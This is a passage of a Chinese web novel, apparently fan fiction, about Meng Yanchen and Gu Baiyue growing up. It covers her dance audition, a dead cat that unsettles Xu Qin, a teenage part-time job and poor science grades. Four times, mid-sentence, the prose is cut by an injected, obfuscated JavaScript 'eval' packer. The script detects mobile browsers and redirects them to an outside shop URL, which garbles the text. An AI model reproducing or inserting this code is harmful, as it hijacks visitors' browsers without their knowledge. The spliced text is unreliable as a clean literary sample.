付闻樱有心借此事教导儿子,就细细跟孟宴臣说:“你要先想好几个问题,比如以什么方式资助皎皎,是只资助一次,还是定时定额,这些钱最迟什么时候到账,是否附加资助条件用以筛选人员,被资助人要不要还钱,如果钱款流转过程中,有人趁机侵占甚至直接吞没,你又该怎么办?” 孟宴臣被问懵了,他小小的脑袋一时之间还没办法应对如此多的复杂问题,自然答不上来。 知道孟宴臣为难,顾白月歪头看了看他,又做出一副恍然大悟的样子问付闻樱:“皎皎明白了,付阿姨是说,还有很多很多皎皎,等待宴臣哥哥帮助,是吗?” 付闻樱淡笑:“皎皎当然只有一个。不过你说得也没错,你宴臣哥哥现在还小,但总有一天,他要肩负很多人很多人的衣食住行。” 顾白月:那他该有多累啊。 这么复杂棘手的问题,付闻樱也没有逼着儿子立刻给出解决方案的意思,她只是希望以后孟宴臣多个教训,以后行事时多些思量。 付闻樱摆摆手:“这样吧,宴臣你试着写一份详细的资助报告,等到报告审批通过,再来谈接下来的事。” 妈妈不阻拦他资助皎皎就行。 孟宴臣松了一口气,他感受到顾白月鼓励的目光,大大点头:“我会好好写的。” 于是,之后的一个星期,孟宴臣不但要照常上学上课写作业,还要在本就紧张的行程里,挤出一点时间查资料翻文件,试着草拟人生的第一份工作报告。 为了不耽误其他课程,孟宴臣不得不牺牲睡眠时间,晚睡早起,反反复复修改文件,还在用早餐前向父亲孟怀瑾请教。 大概是孟宴臣干劲十足,太过反常,惹得孟怀瑾都留意到了这些异样,知子莫若父,他儿子正处于男孩子最调皮顽劣的年龄段,什么时候对枯燥乏味的文件感兴趣了。 待到付闻樱解释完原因,孟怀瑾摇头失笑。 眼看着孟宴臣肉眼可见的疲惫,眼睛下面都浮现了大大的黑眼圈,顾白月又心疼又愧疚,劝孟宴臣放弃,他固执地不肯接受。 季如兰也觉得羞愧,特意带着顾白月一起,向付闻樱再三说明,自己可以想办法凑一凑钱,或者给顾白月报一个低价位的舞蹈补习班。 她话说得也客气:“皎皎资质一般,还是让沁沁小姐一个人跟着姚老师学习吧。至于少爷说得资助不资助的话,太太别当真,我这个亲妈还在呢,哪能厚着脸皮让少爷供养皎皎。” 顾白月帮腔:“是啊,付阿姨,您快别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9419431|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让宴臣哥哥写资助计划了,他都累瘦了。” 然而付闻樱却觉得事情进展到这里,已经不仅仅是资助不资助皎皎的问题了,孩子要成长,总要经历破茧成蝶的过程。 付闻樱不是不心疼儿子,但原则性问题她不会妥协,还告诉顾白月:“他不能当一个逃兵。” 顾白月懂了,她不再祈求付闻樱,反而在征得付闻樱的同意后,第一次踏入孟宴臣的房间,陪他一起查找案例,摘数据列表格。 尽管五岁的顾白月实际并帮不上什么忙,但孟宴臣见了她很高兴,握着小拳头信誓旦旦,“哥哥说了要让皎皎上舞蹈课,就一定会做到!” 两个孩子忙忙碌碌的,除了上课就是窝在房间,头挨头脚碰脚地嘀嘀咕咕,说一些没人能听懂的童言童语。 十天之后,孟宴臣人生第一份工作报告新鲜出炉。 付闻樱第一时间拿给孟怀瑾看,“喏,你儿子的工作汇报。” 孟怀瑾暂停了线上会议,仔仔细细看了一遍,莞尔道:“太过稚嫩,漏洞百出,拿出去要被人笑掉大牙的。”不过,对于一个不满十岁的孩子来说,也算难得了。 付闻樱面无表情地揭穿他:“写得不好你还收进保险箱?” 与此同时,国内顶级舞者姚见萍老师来了孟家,一进门就对付闻樱说:“学生在哪里?丑话说在前头,要是孩子的先天条件太差,后天又不肯吃苦,你们孟家就是拿一座金山砸我,我也敬谢不敏。” 身为专业的古典舞传承人,国家一级舞蹈演员,舞蹈协会副主席,前后七次登上春节联欢晚会的舞台,姚见萍有这个自傲的资本。 对待天才当然要捧着,付闻樱笑得客气:“姚老师放心。” 顾白月和许沁一前一后走了进来,迎接姚老师冷冽如水的挑剔目光,听说她收徒的标准极为苛刻。 中国有句古话叫做三岁看老,人的身体骨骼很神奇,也极富有生长规律,很多事从襁褓里就已经注定了。 舞蹈这个行业不同其他,有些缺陷或许可以通过勤奋的汗水弥补,但这些绝不可能出现在最低级的舞者身上。 姚见萍一直奉行完美主义,正如她在舞蹈一途上始终坚持精益求精,不允许出现丝毫瑕疵,她在挑选徒弟时也是出了名的眼高于顶。 不过,今天这两个孩子,让姚见萍体会到了许久不曾出现的眼前一亮的感觉。 两个女孩一个六岁多,一个五岁多,都生得手长脚长个子高高,比例匀称。若说前头这个还有骨架偏大,较为硬朗等小问题,适合在舞蹈表演中反串,那么后面这一个小的,说一句神清骨秀,百年难遇都不算夸张。 最妙的事,这孩子除了身体条件绝佳之外,一张脸也是十足的美人胚子,小小年纪就能窥见日后的清艳出尘,眉眼之间还自带一股干净轻灵之气,细品之下极具古典韵味。 姚见萍见猎心喜,差点绷不住脸上高冷严肃的神情:这徒弟简直就是为我量身打造的好嘛! 9. 孟宴臣(九) 姚见萍提了几个问题,让顾白月和许沁逐一问答,她不时点头表示赞许,又挨个摸了摸两人骨头。 轮到顾白月时,姚见萍额外捏了捏她圆嘟嘟的小脸蛋,恶趣味地问:“你是包子做的吗?哈哈哈。” 顾白月:……这师父不拜也罢。 等到该问的问完,恰逢肖亦骁和韩廷抱着皮球来找孟宴臣玩,姚见萍就顺势道:“让几个孩子去草坪上跑跑吧。” 这是要看一看许沁和顾白月的肢体协调能力,以及身体灵敏度。 孩子们像撒了欢儿的小狗,蹦蹦跳跳地在草坪上踢皮球。许沁不喜欢这个游戏,但这是付闻樱的吩咐,她不敢反抗,只能不情不愿地参与进来,象征性地踢了几下,之后就默默站在角落里。 顾白月人小腿短,跑不过三个大孩子,很快就累出一身汗,脸颊红扑扑地像熟透的苹果。 孟宴臣见状拉顾白月组队,“皎皎快来,球在这里,你踢,我拦着骁骁!” “喂,孟宴臣你也太偏心了吧?” “就是,干脆下次只带皎皎,不跟他玩了。” 笑容灿烂,洒落一地欢声笑语。 正在交谈的两人被这温馨又美好的画面触动,双双望了过来,姚见萍感慨:“这几个孩子教养的真好。” 付闻樱谦虚:“调皮时也让人头疼得很。” 姚见萍笑:“听说小孩子是见风长,一天一个儿样,过两年就好了。” 顾白月见许沁一个人置身事外,好像存在无形的隔膜似的,显得孤零零的,就故意把皮球往许沁那里踢,想把她拉进游戏圈。 谁知皮球咕噜噜滚到了脚步,许沁一无所觉,继续面向墙壁愣神,不知在想些什么。 几人追着皮球跑过去,随意朝墙角一瞥,齐刷刷愣在那里。 靠近墙根的地方生长着几丛杂草,杂草深处,卧着一只瘦骨嶙峋,血迹斑斑的猫,静静地一动不动地蜷伏在地上。 空气中隐隐散发着腐臭异味,很明显,这只猫已经死了。 几个大大小小的孩子哪里见过这种残酷血腥的画面? 孟宴臣最先反应过来,尽管有些怕那血肉模糊的一团,但他没忘记自己肩上的责任,自己是沁沁和皎皎的哥哥,在妹妹面前不能露怯。 他几乎立刻捂住顾白月眼睛,又喊许沁:“沁沁你别怕,也别看,先退后一点。” 许沁可能是被吓到了,依旧目不转睛地看向那只猫,她甚至还蹲|下身子,面无表情地拾起一根树枝,轻轻扒开猫的腹部。 “啊!” 这下连肖亦骁和韩廷都被唬了一跳,动静大得惊动了客厅里的付闻樱和姚见萍。 付闻樱:“发生什么事?”她赶来处理,询问孟宴臣经过。 趁着孟宴臣和付闻樱说话,顾白月坏心眼地掰开搭在眼皮上的手指,从指缝里看过去,正好瞧见许沁目不转睛地盯着那只猫。 在那双属于小女孩的稚嫩眼睛里,顾白月窥见了一丝兴奋。许沁看到一只疑似受虐而死的猫,却毫无这个年纪的孩子该有的慌乱和无措,更没有一丁点儿的同情和怜悯,甚至浮现淡淡的开心,如同找到了最钟爱的玩具。 这是顾白月第一次看到许沁露出笑容,却笑得顾白月心底莫名发凉。 一个六岁多的孩子而已,怎么会这般镇定自若,冷静到诡异,顾白月深深看了许沁很久。 但愿是我想多了…… 见顾白月怔怔地不说话,孟宴臣以为她吓到了,拍着顾白月后背轻轻哄:“不怕不怕,哥哥在。” 顾白月呆头呆头地望过去,无意识呢喃:“哥哥?” 孟宴臣重重点头:“是,哥哥在呢,皎皎不怕啊。” 小小少年牵着女孩的手,彰显着尚且带有孩子气的温柔风度,小心翼翼地护着她,日复一日,年复一年。 十年时光匆匆而逝。 …… “你好,两杯芋泥啵啵。” “好呀。” 操作台上的女孩应声抬头,黑长柔软的头发盘成丸子,规规整整地挽进员工帽里,几丝碎发俏皮地垂在耳边。 女孩戴着白色口罩,因为脸蛋精致玲珑,留出一些空隙,越发显得眉眼纯稚,肤白胜雪,一双桃花眼顾盼生辉。 一看到来人,女孩就笑了,潋滟生辉的眸子弯成月牙,一瞬间流光溢彩,清辉皎皎。 “好的客人,请问您的芋泥啵啵有什么特殊备注吗?” 客人是一位帅气的男学生,十七八岁的年纪,清秀斯文,气质介乎男孩和男人之间,兼有少年意气,以及初初显露的峥嵘锐气。 听到女孩询问,他忍笑一本正经地说:“请问其中一杯可以帮我多放些芋泥吗?多糖少冰,另一杯正常糖正常冰。” 女孩子故作为难地皱了皱眉,同样一本正经地回答:“不可以哦,客人,我们店里每一杯的芋泥都是固定的呐。” 话虽如此说,女孩却趁店长不注意,悄悄将手伸到胸前,用白皙柔软的手指比了一个“OK”,用眼神示意:包在我身上。 客人莞尔。 两人相视一笑。 两杯芋泥啵啵被店员送了过来,孟宴臣坐在靠窗的卡座,等了不到十分钟,顾白月就换好衣服出来,边走边小小声抱怨:“总算下班了,可累死我了,也不知道怎么回事,最近店里客人出奇的多……” 她动作熟稔地拿起放在孟宴臣对面的那杯芋泥啵啵,鼓着脸颊暴风吸入,被子里的饮料肉眼可见地下去一大截。 顾白月舒了一口气。 每次瞧见顾白月做兼职挣外快,有时累得气喘吁吁,还要笑盈盈地应对刁难,孟宴臣心里就不是滋味,不止一次想对顾白月说不必这么辛苦,除了学费,我还可以再资助你一些生活费。 孟家生活条件优渥,不提孟怀瑾和付闻樱每个月给两个孩子的零花钱,单单就是逢年过节收到的红包,累计起来也不是一笔小数目了。 但孟宴臣又很清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9419432|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚地知道,顾白月不会随意接受。 其实顾白月不愿意再收孟宴臣的接济,倒并不是为了什么所谓的尊严和脸面,人要是真走投无路,尊严和脸面算什么东西。 只不过,顾白月觉得家里生活虽然清贫,但还没到揭不开锅的地步。而且让孟宴臣借钱容易,都不用顾白月开口,哪怕是稍稍暗示一下,孟宴臣就会慷慨相助。 问题是钱好借,人情债不好还,再者说顾白月也不想她跟孟宴臣之间,掺杂太多利益纠葛。 当年顾应军出了意外,送到医院抢救时,季如兰拿出了全部积蓄,还在情急之下卖了房子,可谓孤注一掷。 后来顾应军抢救失败,季如兰人财两空,不得不带着顾白月租房子借钱过渡。倾家荡产地救顾应军,季如兰没什么好后悔的,只是有时候看到顾白月跟着自己一起吃苦,觉得愧对她。 之前顾白月还小,季如兰手头一穷二白,外面还债台高筑,为了不耽误顾白月,无奈同意了孟宴臣的资助,凑齐了聘请姚见萍教导顾白月的学费。 后来在母女两人共同努力下,省吃俭用地把这些钱分期还清了。 顾白月对这样的生活适应良好,她挺不愿一天到晚闷头苦学,利用课余时间找份兼职,时不时挣点小钱补贴家用,偶尔给季如兰和孟宴臣等人送一份小礼物,也蛮有趣的。 “对了,宴臣哥,你怎么有空过来?” 顾白月喝了几口过足瘾,这才松开“鹰逃小嘴”,有些好奇地看向孟宴臣,今天是星期六,按照孟宴臣的学习计划表来看,他应该没空啊。 孟宴臣:“下午是英语录播课,在哪里看都一样。你这个月都在忙,好久没来家里了,我来看看你。” 说起来,孟宴臣和顾白月,还有许沁肖亦骁韩廷几个人,大家从小一块玩到大,也算是青梅竹马了。论亲疏远近,孟宴臣本该跟许沁更亲近一些,然而事实上孟宴臣觉得自己跟顾白月更为投契,明明两人性格和爱好重合度也不高,待在一起时却偏偏异常融洽自然。 惹得肖亦骁都不禁一次感叹地对孟宴臣说:“我怎么感觉你跟皎皎才更像亲兄妹啊。” 孟宴臣也说不清到底为什么,他知道沁沁才是自己妹妹,任何一个哥哥对妹妹应该尽到的责任,孟宴臣都不会推卸,态度爱护却不亲近。 可是对于皎皎,孟宴臣无须用理智判断,只需要听从本心的声音,几乎自然而然就会待她好,像吃饭喝水一样顺畅。 人难道还要每天问一下自己为什么要吃饭喝水吗? 大半个月没见面,不仅孟宴臣想顾白月,顾白月也想他了,她叹了一口气:“我也好想跟宴臣哥待一块儿好好说话,可是不行啊,我四点有一节舞蹈课,马上就要走了。” 孟宴臣不以为意地笑了笑:“没关系啊,你所有课程我都记得呢,等会送你去练舞室。” 两人背上各自的书包,乘车去了文化馆,顾白月径自去三楼练舞室,孟宴臣就坐在外面走廊里等她。 10. 孟宴臣(十) 舞蹈课一共两小时,孟宴臣整天陀螺一样连轴转,当然不会白白浪费这么长时间,刚坐下来就掏出平板,戴上耳机看英语视频。 气氛静谧祥和,墙上挂钟的分针和秒针,以恒定的速度周而复始地运行,在某个节点上短暂地重逢。 学习的间隙,孟宴臣抬头活动脖子,透过窗户目光不偏不倚,恰恰落在轻灵跳动的顾白月身上。 纯白色柔软又修身的舞蹈服,紧紧贴合着少女每一寸肌肤,勾勒出曼妙弧度,清纯得宛如一支雨中的栀子花,清香悠远。 几乎一瞬间,孟宴臣全部身心就被牢牢吸引住了,再也移不开视线,他自己都不知道自己看得有多专注,眸子跟随着少女每一次旋转跳跃,每一次弯腰下身的动作。 顾白月跳得是古典舞。 小时候付闻樱聘请舞蹈大师姚见萍,面试顾白月和许沁时,亲口说过顾白月眉目之间颇有丽色,很有几分清艳绝绝的古典美,再加上腰细腿长,手脚比例绝佳,是一个练习古典舞的好苗子。 这话正在顾白月预料之中,远古之时,先民蒙昧,顾白月在飞升月宫,定居天池仙境之前,也曾化作普通人,带领部落众人避开天灾。 那时部落众人推举顾白月做大巫,在连年干旱,或者丰年祈福时,央求顾白月跳敬祀神灵的舞。 所以,这活儿顾白月熟。 顾白月个子高挑,身材窈窕纤细,一举一动,宜喜宜嗔,非常符合古典舞对舞者个人素质的要求。 伴奏用的音乐空灵缥缈,尾音舒缓,顾白月按照编舞要求,转身远眺,含情脉脉,凝神睇望。 谁知,这一望正正与孟宴臣的目光撞上,双双一怔。 顾白月转而笑开,颜如舜华,一张小脸素颜朝天,粉色唇瓣无声开合,做出口型问:“厉害不?” 厉害,当然厉害。 像一只在林间奔跑的小鹿,一往无前地莽撞又势不可挡地,撞入人心中。 孟宴臣满目惊艳,心跳都漏了一拍。 可惜那时的他不懂这意味着什么。 孟宴臣失神许久,心湖荡开一圈又一圈的涟漪。 直到顾白月做出一个高抬腿的姿势,孟宴臣后恍惚之间,克制地移开视线,这才发现走廊尽头伫立着一抹熟悉的身影,他望了顾白月多久,对方就望了他多久。 孟宴臣立刻站起身来,不知为何有一种做坏事被抓包的心虚感,“兰姨。” 那人四十岁左右的年纪,瘦削干练,脸上积淀着岁月沧桑,依稀能看出年轻时风华绝代的好颜色,正是季如兰。 她近来似乎消瘦了一些,神色有些憔悴,此时不知从哪里赶过来,显得风尘仆仆。 季如兰在孟家工作,每周有一天的休息时间,她经常会把休息日攒起来,留着顾白月放假时用,而现在顾白月在外待了一整天,季如兰竟然休息了。 孟宴臣觉出一丝奇怪:“兰姨怎么这时候过来了?皎皎还有一个小时才下课。” 季如兰刚才好像在发呆,听到孟宴臣的问题,才恍然惊醒般说道:“哦,兰姨今天临时有点事,跟你妈妈请了半天假,路过文化馆就上来看一眼。” 她往舞蹈室里看去,老师正拿着戒尺逐一为同学们纠正动作,顾白月跳得认真,没有留意到季如兰的到来。 顾白月跳舞时整个人都在闪闪发光。 季如兰深深看了好几眼,为自己养出这样优秀的女儿骄傲,“皎皎真漂亮,是不是?” 孟宴臣:“是。” 他敏锐地捕捉到季如兰神情有异,主动说:“兰姨,我把皎皎喊出来吧,她看到你来了,一定很开心。” 谁知季如兰摇头拒绝了,话说的也很朴实:“别,一节课好几百块钱呢,让皎皎认真学吧,我不打扰她。” 她见孟宴臣仍然有些隐忧,爽朗地笑了:“嗨,等小丫头晚上回家,兰姨有多少话跟她说不了。” 孟宴臣想了想确实如此,就没再坚持。 两人简单聊了几句,季如兰说回家给顾白月准备骨头汤,静悄悄地离开了。 很快到顾白月下课,孟宴臣第一时间告诉她:“兰姨刚才来了一趟,应该是有什么事要跟你说,我问她,兰姨又说没有。皎皎今天晚上还是早些回家,多陪陪兰姨,我改天再带你去吃海鲜。” 顾白月讶异:“嗳,我妈来了?” 想起来好几天没跟妈妈一起吃晚饭,顾白月道:“那我现在就回家了。” 只是孟宴臣大老远来找她玩,说好的一起去吃海鲜,顾白月现在爽约,有些歉然,她灵光一现想到了什么道:“宴臣哥,要不你跟我一块儿回家,尝尝我妈新学的糖醋排骨?” “好啊。” 孟宴臣从善如流,他提着包,扶着顾白月从楼梯上一阶一阶走下去,不时提醒她:“慢点慢点,别蹦。” 舞蹈课的训练量很大,学生们每次上完课,体能消耗到尽头,手手脚脚都疼得不行,一个不注意就会拉伤韧带,只好一瘸一拐,四肢僵硬地往前挪。 当年顾白月和许沁刚来文化馆这边上课,孟宴臣来接她们,临到下课时,冷不丁还以为看到了现实版《丧尸学员》。 看到顾白月累得手脚发麻,下个楼都费劲,孟宴臣一千零一次懊恼,为什么文化馆不装电梯。 他微微俯身:“要不我背你吧?” 顾白月身残志坚,咬牙坚持:“不用,我还就不信了,就这几步路还能难倒我,哼,惹急了我直接四肢着地,阴暗爬行。” 孟宴臣轻轻斥她:“别胡说。” 他提着一口气,小心翼翼地护在顾白月一侧,等到终于到了一楼,额头都出了汗,比直接抱顾白月下来还累。 后面跟了几个同样十五六岁的女孩,都是跟顾白月一个舞蹈班的同学,眼睁睁见顾白月被人搀着上了车,那人还细心地从背包里拿出按摩仪,打开给顾白月舒经活络。 孟宴臣足足一米八多的大高个子,高挑修长,宽肩窄腰,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9419433|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双腿笔直劲挺,看得人眼馋,再加上那张清俊斯文的脸,干净清爽的气质,低调又不失贵气的穿搭,走到哪里都是众人注目的焦点。 当初他初初来文化馆,甫一露面就吸引了许多人注意,有热情大胆的女孩子直接上去问孟宴臣要联系方式。 孟宴臣都礼貌地拒绝了。 有人不死心,还想通过顾白月曲线救国,顾白月和和气气地跟人家解释:“我没有权力替宴臣哥哥做决定,要先征得他同意,才可以把宴臣哥哥的电话号码给你。” 后来自然是折戟沉沙,哪怕顾白月去问,孟宴臣无一例外都没有松口。 顾白月当然不会帮着其他人难为孟宴臣,之后再有人拜托她转交礼物,顾白月笑盈盈地将人劝退了。 孟家花费无数人力物力培养出来的继承人,自然是人中龙凤。 看到他又来接顾白月,有一个女孩羡慕不已:“矜贵又淡漠,这简直就是我理想中的豪门贵公子,啊啊啊,好嫉妒顾白月,她怎么会有一个这么优秀的哥哥。” 有人附和:“就是就是,真是人比人得死,货比货得扔。人家的哥哥二十四孝,再看我哥,一天到晚只会抠脚和放屁,整个人滂臭。” 大家越说越上火,简直群情激奋,异口同声地讨伐自家哥哥弟弟,非常想知道顾白月上个月是不是拯救了银河系。 不过,也有人说了句公道话:“拜托,什么锅配什么盖,顾白月也很厉害好吗?就说她那张脸,纯纯盛世美颜,我妹妹要是长得跟瓷娃娃小仙女似的,我单手倒立给她喂饭都愿意啊!” “那倒是,顾白月颜值爆表,她哥也帅得一比,他们家人是中基因彩票了吗?果然豪门大户不养闲人。” 这时有消息灵通的女孩说话了:“孤陋寡闻了吧,顾白月她哥不是她亲哥,两个人压根没有血缘关系。” “什么?真的假的?” “当然是真的了,我可听说顾白月才不是什么富家千金,她妈是孟家的煲汤阿姨,四舍五入,顾白月充其量就是孟家下人。” 有人不敢苟同:“这都什么年代了还搞主子下人那一套,再说了,顾白月说了好多次她家穷得叮当响,是你们自己不相信啊。” 那消息灵通的女孩被人接连反驳,有些羞恼,她往角落里看了一眼,许沁安安静静地站在那里,一言不发。 女孩有点生气:不是许沁话里话外,多次暗示顾白月厚脸皮,在孟家蹭吃蹭喝,在外招摇撞骗吗?她替许沁这个孟家名正言顺的养女打抱不平,许沁自己反倒置身事外了。 合着这是拿她当枪使呢? 许沁沉浸在自己的世界中,压根没有注意到,大家看她的目光已经有些不对劲了,她只是怔怔地望着顾白月和孟宴臣离开的方向。 明明,明明是她的哥哥啊,孟宴臣为什么总是要偏爱顾白月呢,就连付闻樱也是,时不时就要夸赞顾白月一句,对她这个名义上的女儿,却吝惜一丝一毫的宽容,永远都是无止境的苛责。 11. 孟宴臣(十一) 深陷负面情绪的许沁不懂,这世上有一种孩子叫“别人家的孩子”,几乎所有家长在对待自家的孩子和对待别人的孩子时,态度都是不一样的,但这并不表示他们就不爱自己孩子了。 爱之深,责之切。 在按摩仪的帮助下,顾白月肌肉酸痛缓解了许多。 孟家的私家车和司机留在了文化馆接许沁,孟宴臣和顾白月是坐出租车回家的。 这些年季如兰在孟家兢兢业业工作,靠着不菲的收入,供养女儿上学之余,省吃俭用贷款买了一套二居室。 小区各方面条件都一般,胜在环境清幽,面积也不大,不过季如兰和顾白月母女两人住,也绰绰有余了。 家里收拾得温馨整洁,窗明几净。 孟宴臣不是第一次来这里了,当初季如兰和顾白月从出租屋里搬出来,刚刚来这里入住时,就邀请了孟宴臣许沁和肖亦骁来作客,热热闹闹吃了一顿家常饭。 尽管顾白月家空间有限,到处都显得小小的,但孟宴臣不管来多少次,都会为这里洋溢着的轻松氛围所触动。 听到开门声,季如兰从厨房探出头来,看到孟宴臣时微不可见地愣了一下,继而笑开:“宴臣也来了,想吃什么菜,跟阿姨说。” 孟宴臣点头问好:“兰姨看着做吧,您做的菜我都爱吃。” 顾白月打趣:“宴臣哥哥今天嘴巴怎么这么甜?” 孟宴臣开玩笑:“都要来蹭饭了,当然要讨主人家欢心。” 季如兰斥责女儿:“别没大没小的,快把冰箱里的水果拿出来让宴臣吃。” “好呀。” 冰箱里放着几个红彤彤的大苹果,顾白月拿出来洗干净了,又找水果刀,打算削皮切块。 孟宴臣在客厅看到了,就说:“皎皎别麻烦了。”从顾白月手里接过水果盘,挑了一个颜色最红的小苹果递给女孩,怕她吃多了撑着,待会儿吃不下饭。 “礼尚往来。”顾白月也挑了一个给梦宴臣,两人姿态随意地在沙发上坐着啃苹果,顾白月还不好意思:“真不用帮你削皮切块啊?” 孟家人吃东西多讲究啊。 孟宴臣不以为意:“折腾什么,咱俩清清静静地说会儿话。”顾白月忙,他更忙,两人好不容易凑一块了,就别因为这些小事浪费时间了,苹果什么时候吃不成。 顾白月也不跟他假客气,咔擦咔擦啃着苹果,“成。” 然而,顾白月很快就笑不出来了,孟宴臣这个魔鬼,竟然一本正经地问她:“月考考了多少?” “喂。” 顾白月气嘟嘟:“你小子浓眉大眼,怎么不知道什么叫吃人嘴软哩。” 孟宴臣微微一笑,手指撑开托了托鼻梁上的眼镜,“到底多少?” 顾白月蔫头耷脑,柔软长发瀑布一样流泻下来,小嘴一瘪,吞吞吐吐道:“语文131,英语128,地理85,历史93,政治88……” “不要顾左右而言他。”孟宴臣眼镜一眯,非常有冷酷大家长的气势,说话时更是一针见血,直击重点:“数学?物理?化学?” 夺命三连问。 顾白月恨不得把舌头吞下去,小小声地嘀咕了一句:“皎皎为什么不是一个小哑巴……” 孟宴臣哭笑不得。 顾白月委屈巴巴对手指:“数学76,物理18,化学14……” 孟宴臣差点一口气没上来,“很好,顾皎皎,你这是偏科偏到玛利亚大海沟了,主打的就是一个楚河汉界,泾渭分明。” “呜呜呜……” 顾白月捂着脸假哭,哼哼唧唧了半天,也没挤出一丁点眼泪:“那也不能怨我吧,教数学的小老头一会儿让我求阴影面积,一会儿让我建空间几何,我都忙不过来。” 没办法,从小到大,顾白月一哭孟宴臣就没辙,哪怕明知道她是假哭也不忍心。 孟宴臣缓和了神情:“好吧,那化学和物理呢?” 一提这个顾白月更来气,她大大哼了一声,气势汹汹地说:“我讨厌死物理和化学了,那什么分子离子原子中子质子,在玩什么新鲜的绕口令吗?究竟什么东西啊,看不见摸不着的,我严重怀疑物理老师和化学老师在联手驴我,这一定是一场阴谋一场骗局!” “顾皎皎……” 孟宴臣有气无力地叫了一声,“你这是要气死我啊。” 顾白月眼神无辜。 家人们谁懂啊,好不容易熬过九年义务教育,还要忍受三年高中生活,神仙来了也遭不住啊。 毕竟,对于一只古老的东方神来说,向来信奉道生一,一生二,三生万物,时间轮转阴阳有序,那什么正极负极带电粒子,简直就是一派胡言好吗? 化学老师:锂铍硼碳氮氧氟氖…… 顾白月:竖子,安敢毁我道心! 总之,谁都说服不了谁。 按照顾白月各科成绩分布情况,以后铁定要选文科,但问题是现在还未文理分科,而且就算分科了,物理和化学考成这样,万一将来会考不过,也平添麻烦。 …… 隔天,孟家餐桌上,在正式开动之前,孟宴臣问付闻樱:“妈妈,先前给我补课的物理杜老师,化学沈老师,能把他们的联系方式给我吗?” 付闻樱一听就懂了:“又是皎皎那丫头吧?这孩子文科学那么好,理科怎么就不开窍。”她想起来还觉得好笑,昨天季如兰还说顾白月闹着要跟宴臣断绝兄妹关系。 季如兰:“这么说,宴臣那孩子带来的鲜花饼,你肯定一个也不吃了?” 顾白月砸吧嘴巴:“……吃完再绝交。” 相当能屈能伸。 “提到学习成绩……”付闻樱看向养女许沁,“皎皎虽然理科薄弱,但文科成绩实在漂亮,总分还是比沁沁多一些。沁沁,你要再努力一些了,想好下学期的文理分科怎么选了吗?要不要给你再加两节家教课?” 许沁心情郁郁,缓缓摇头,在付闻樱锐利眉眼注视下,一个字都说不出来。 晚上十点多,孟宴臣写完试卷去一楼拿水喝,回来时却见许沁打开房门,幽幽喊道:“哥。” 孟宴臣:“怎么了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9419434|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许沁穿着单薄的粉白色睡衣,齐耳短发柔软地软垂着,身上还有氤氲水汽,看起来像是刚刚洗过澡,她低头道:“我有一道数学题不理解。” 孟宴臣数学成绩一向不错,还曾给许沁和顾白月都私下讲过知识点,但这次他却只是微笑:“太晚了,沁沁,哥明天给你讲题行吗?” 许沁久久不答,应该是有些不高兴。 孟宴臣又提议:“或者你把那道题拿出来,我在这里跟你说。” 两人一年大似一年,就算有兄妹名分,实际上并没有血缘关系,何况这两年许沁对他的态度,让孟宴臣敏锐地觉察出一丝异样,已经开始有意无意地避嫌了。 这深更半夜的去许沁房间,不太方便。 “算了……”许沁无所谓地说道。 孟宴臣:“那……晚安?” 他转身要回房间休息,就听后面许沁幽幽地递来一句意义不明的问话: “如果是顾白月找你,哥哥是不是就不会拒绝了……” 深灰色拖鞋落在地毯上,静谧无声,孟宴臣略微皱眉,他在许沁的语气里听出了对顾白月的不满和敌意。 …… 清脆的铃声响起,无数高中生潮水般涌出来,一张张年轻富有活力的脸,流溢着勃勃生机。 同样都是蓝白相间的宽松校服,顾白月却穿出不一样的韵味,乌发长发逶迤到腰际,精致饱满的鹅蛋脸上蕴含浅浅笑意,此时正乖乖地站在梧桐树下,翘首等着什么人到来。 今天韩廷过生日,约他们几人去家里开宴会庆祝,孟宴臣提前打过招呼,让顾白月放学后别急着走,孟宴臣会来接她和许沁。 一只手搭在肩膀上。 顾白月欢喜雀跃:“宴臣哥,你可算来了,我都饿……” 